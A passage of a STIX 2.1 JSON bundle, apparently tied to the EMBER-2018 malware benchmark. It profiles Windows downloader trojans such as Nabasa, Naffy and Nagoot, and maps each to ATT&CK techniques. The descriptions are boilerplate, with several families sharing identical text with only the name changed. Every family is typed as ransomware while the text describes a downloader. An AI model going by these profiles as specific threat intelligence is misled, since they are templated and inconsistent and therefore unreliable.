      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mz0A4Gxuisb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18e9269b-f098-53cd-be56-ccbaa248ee2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338b771b-2f50-5d12-a507-dff491c41709",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mz0A4Gxuisb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fec5956b-30a5-5096-b74e-9d0180d2365a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338b771b-2f50-5d12-a507-dff491c41709",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mz0A4Gxuisb exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nabasa",
      "description": "Trojan:Win32/Nabasa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nabasa</b><br>To an end-user, a Nabasa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nabasa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nabasa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nabasa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nabasa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nabasa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nabasa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1596d5f9-4846-5992-a80d-e1ccc20443d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nabasa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baf7b6d9-4a9b-53f2-9530-ae6fcb75afaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nabasa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc5d7b47-3e20-5003-b635-6e24044a1d1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nabasa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2246a81e-6008-5a7a-8298-e322efc69704",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nabasa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6acb7fca-b152-5c34-9e19-9c24321814b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82845d2a-6603-5f49-8230-46785ea2877f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nabasa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Naco",
      "description": "Trojan:Win32/Naco is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Naco</b><br>To an end-user, a Naco infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Naco is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Naco is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Naco frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Naco reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Naco",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/naco"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1423216-4653-58c0-8662-d99ac9d2de91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naco exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d690221d-b9ac-5d45-8439-9221d95b13d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naco exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f69bfee-5619-5f1a-840f-85866ced7b48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naco exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0242c296-a718-5b27-a02a-89030aa8613e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naco exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2566e3b-6e8f-5c36-b2ed-cf2f9237d3ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac9742ed-a31c-5220-8e6a-fa010b7b89cd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naco exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nadrac",
      "description": "Trojan:Win32/Nadrac is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nadrac</b><br>To an end-user, a Nadrac infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nadrac is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nadrac is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nadrac frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nadrac reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nadrac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nadrac"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bde3b0d-a96b-55c9-86f4-a6bf1280338a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nadrac exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4651e4df-d352-54a3-a599-711e8831c304",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nadrac exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20e234c4-dd39-5dc9-9e7b-9ad31da41736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nadrac exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8c5b526-1341-5dfb-b55a-d30a0e579d35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nadrac exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cbc28fa-1f58-5824-8d5a-4b85618b723a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b0e9b51-ac14-57a1-883f-5a328d8e6948",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nadrac exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db88681b-4bf6-5c0f-85c7-90f77ca675fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Naffy",
      "description": "<h3>Executive Summary</h3>\nNaffy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNaffy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Naffy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Naffy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Naffy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Naffy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Naffy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Naffy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Naffy",
        "Downloader.Naffy",
        "Win32/Naffy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Naffy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/naffy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88802bef-78aa-5e19-9405-d18142d31479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db88681b-4bf6-5c0f-85c7-90f77ca675fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naffy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b2146ac-1907-504d-86e5-2bc65039fee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db88681b-4bf6-5c0f-85c7-90f77ca675fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naffy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b390e7d8-229b-5249-b0a0-c1212f54e3a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db88681b-4bf6-5c0f-85c7-90f77ca675fc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naffy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nagoot",
      "description": "Trojan:Win32/Nagoot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nagoot</b><br>To an end-user, a Nagoot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nagoot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nagoot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nagoot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nagoot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nagoot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nagoot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e93da8ac-930d-5103-b799-4be3c031ce31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagoot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ae77e29-2dc5-5270-9b8c-a2dfce6e998f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagoot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af0bd875-f7ad-516f-8a3c-cbb320ee20e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagoot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9ec119e-db45-5895-8818-e21797df7466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagoot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9a2b370-f728-56c0-ba95-a237bacabe3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37fe4401-4e73-5d18-8ed3-bc3f6807f986",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagoot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--151ba456-9033-5430-a56b-ee1fa3d0b28d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nagram",
      "description": "<h3>Executive Summary</h3>\nNagram is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNagram is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Nagram operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Nagram ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Nagram receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Nagram infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Nagram executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Nagram frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Nagram",
        "Downloader.Nagram",
        "Win32/Nagram"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nagram",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nagram"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42b1891c-313a-52fb-8071-c0472136c235",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151ba456-9033-5430-a56b-ee1fa3d0b28d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagram exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df51a9f8-17c9-53a1-a91d-f1bee1a05627",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151ba456-9033-5430-a56b-ee1fa3d0b28d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagram exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5383bc1f-1f85-5769-b200-8e3b76841f78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151ba456-9033-5430-a56b-ee1fa3d0b28d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
